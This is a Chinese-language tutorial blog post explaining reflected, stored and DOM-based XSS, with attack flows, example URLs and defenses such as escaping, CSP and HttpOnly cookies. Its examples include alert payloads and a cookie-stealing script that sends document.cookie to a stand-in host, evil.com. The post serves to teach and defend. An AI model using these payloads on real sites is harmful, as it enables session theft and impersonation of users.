浏览器安全拓展 - XSS攻击 | 青训营

185 阅读8分钟

1. XSS攻击

1.1 概念

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。

恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

1.2 类型概述

XSS攻击是一种跨站脚本攻击,指的是攻击者在网页中注入恶意的脚本代码,从而影响或控制用户的浏览器行为,或者窃取用户的敏感信息。根据XSS攻击的方式和效果,可以分为以下三种类型:

  • 反射型XSS:这种攻击是通过将恶意代码作为参数附加在URL中,诱导用户点击链接,服务端接收数据之后,并不会对这些参数进行任何处理或存储,而是直接将它们返回给客户端。当客户端接收到这些参数时,就会将它们当作正常的HTML或JavaScript代码来解析和执行,从而触发攻击效果。这种攻击的特点是需要用户的主动参与,且攻击代码不会被存储在服务器上,只在当前请求中有效。例如,一个搜索页面的URL可能是这样的:http://example.com/search?keyword=hello,如果攻击者将keyword参数替换为<script>alert('xss')</script>,并将修改后的URL发送给用户,那么当用户点击该链接时,就会弹出一个对话框显示xss¹。
  • 存储型XSS:这种攻击是通过将恶意代码提交到目标网站的数据库中,使得每次用户访问该网站时,都会加载并执行该代码。这种攻击的特点是不需要用户的主动参与,且攻击代码会持久地保存在服务器上,影响范围更广。例如,一个论坛网站允许用户发表评论,并将评论内容存储在数据库中。如果攻击者在评论中插入了<script>stealCookie()</script>,并成功提交了评论,那么当其他用户浏览该评论时,就会执行该脚本,从而导致攻击者窃取他们的Cookie信息²。
  • DOM-based XSS:这种攻击是通过修改网页的DOM结构或属性,使得浏览器执行恶意代码。这种攻击的特点是不经过服务器端,而是直接在客户端进行。例如,一个网页可能会根据URL中的#后面的内容来改变页面的标题,如http://example.com/page#title1。如果攻击者将#后面的内容替换为<img src=x onerror=alert('xss')>,并将修改后的URL发送给用户,那么当用户访问该URL时,就会触发图片加载失败的错误事件,并执行其中的脚本。

(1) web攻防之XSS攻击详解——XSS简介与类型 - 知乎 - 知乎专栏. zhuanlan.zhihu.com/p/342603075.

1.2 反射型

攻击流程
实际案例(常用场景)

假设有一个网站提供了一个搜索功能,用户可以输入关键字进行搜索,搜索结果会显示在页面上。如果这个网站没有对用户输入的关键字进行过滤或转义,那么攻击者就可以构造一个包含恶意代码的URL参数,例如:http://www.example.com/search?keyword=<script>document.location='http://www.evil.com/?cookie='+document.cookie</script>

当用户点击这个URL时,服务器端会将关键字参数原样拼接到响应内容(嵌入到了HTML源码)中,例如:

 <div>您搜索的关键字是:<script>document.location='http://www.evil.com/?cookie='+document.cookie</script></div>

这样,当浏览器接收到响应内容时,就会执行<script>document.location='http://www.evil.com/?cookie='+document.cookie</script>这段恶意代码,它会做两件事情:

  1. 通过document.cookie获取用户的Cookie信息,并拼接到一个恶意网站的URL参数中。
  2. 通过document.location将用户重定向到这个恶意网站。

这样,攻击者就可以在恶意网站上获取用户的Cookie信息,并利用它进行一些恶意操作,比如冒充用户身份、窃取用户数据等。同时,用户也被诱导到了一个可能含有更多恶意代码或内容的网站上,可能遭受更大的损失。

防御方法

防御反射型的XSS攻击,主要有以下几个方面:

  • 将特殊字符进行过滤或者转移,例如将< 变为 小于号&lt;
  • 限制可执行脚本你的来源
  • 限制JS获取cookie等信息
  • 规范用户的输入
  1. 对用户输入的数据进行合理的过滤或转义,避免将不可信的数据直接输出到响应内容中。例如,可以使用一些安全库或函数来对HTML特殊字符进行编码,如将<转换为<,将>转换为>等,这样就可以防止恶意代码被浏览器解析为HTML标签或属性。
  2. 设置HTTP头中的Content-Security-Policy来限制可执行的脚本来源,只允许从可信的域名加载脚本,禁止内联脚本或动态生成的脚本。这样就可以防止恶意代码被嵌入到响应内容中或从外部加载。
  3. 设置Cookie为HttpOnly来防止JavaScript访问Cookie,这样就可以防止恶意代码通过document.cookie获取用户的Cookie信息,并发送给攻击者。
  4. 对用户输入的数据进行有效性验证,只接受指定长度范围、格式适当、符合预期的内容,对其他不符合预期的内容一律拒绝或忽略。这样就可以防止恶意代码通过构造异常或无效的参数来绕过过滤或转义。

1.3 存储型

见前端面试题

攻击流程

  • 攻击者将恶意代码存储到服务器数据库。例如在评论中插入HTML代码。
  • 用户访问服务器的时候,恶意代码会被当做页面内容响应;
  • 用户浏览器解析,执行恶意代码
  • 攻击者窃取信息

常见场景

用户评论、私信相关

解决方案

与反射型不同的一点是:

  • 对服务器端存储的数据进行定期的扫描和清理,发现并删除任何可疑的恶意代码。这样就可以防止恶意代码长期存在于服务器上,并影响更多的用户。
  • 其他都相同

1.4 DOM型

DOM型XSS攻击是一种基于文档对象模型(Document Object Model,DOM)的Web前端漏洞,简单来说就是JavaScript代码缺陷造成的漏洞。它的特点是恶意代码不会经过服务器端的处理,而是直接在浏览器端的DOM解析和执行过程中产生。

攻击流程

  1. 恶意url
  2. 用户点击后,服务端响应,浏览器解析,前端的JS执行恶意代码
  3. 窃取信息
实际案例1

举个例子,假设有一个网站提供了一个显示当前URL的功能,用户可以输入任意的URL参数,网站会将其显示在页面上。如果这个网站没有对用户输入的URL参数进行过滤或转义,那么攻击者就可以构造一个包含恶意代码的URL参数,例如:

http://www.example.com/showurl?name=<script>alert('XSS')</script>

当用户点击这个URL时,网站会将name参数原样输出到页面上(此过程并不经过服务端),例如:

<div>您输入的URL是:<script>alert('XSS')</script></div>

这样,当浏览器接收到页面内容时,就会执行<script>alert('XSS')</script>这段恶意代码,弹出一个对话框显示“XSS”。当然,这只是一个简单的例子,实际上攻击者可以利用DOM型XSS攻击做更多的事情,比如盗取用户的Cookie、重定向用户到恶意网站、执行恶意操作等。

实际案例2

假设有一个网站提供了一个显示当前时间的功能,用户可以输入任意的时间格式,网站会将其显示在页面上。如果这个网站没有对用户输入的时间格式进行过滤或转义,那么攻击者就可以构造一个包含恶意代码的时间格式,例如:

http://www.example.com/showtime?format=<script>alert('XSS')</script>

当用户点击这个URL时,网站会将format参数原样输出到页面上,例如:

当前时间是:

这样,当浏览器接收到页面内容时,就会执行<script>alert('XSS')</script>这段恶意代码,弹出一个对话框显示“XSS”。这也是一个DOM型的XSS攻击的例子。

  • 我的意思是,这个网站显示当前时间,但是为什么用户点击url却不进行跳转呢?反而是显示时间,这是怎么实现的?
  • 这是因为这个网站使用了JavaScript代码来获取用户输入的时间格式,并根据时间格式来显示当前时间。当用户点击URL时,浏览器会发送一个GET请求到服务器,服务器会返回一个包含JavaScript代码的HTML页面,这个页面会读取URL中的format参数,并将其作为时间格式的变量。然后,这个页面会使用JavaScript的Date对象来获取当前时间,并根据时间格式的变量来格式化时间,并将其输出到页面上。这样,用户就可以看到当前时间了。但是,如果用户输入的时间格式包含恶意代码,那么这个页面就会执行恶意代码,从而产生XSS攻击。

防御方法

基本上就是前面的反射型的防御方法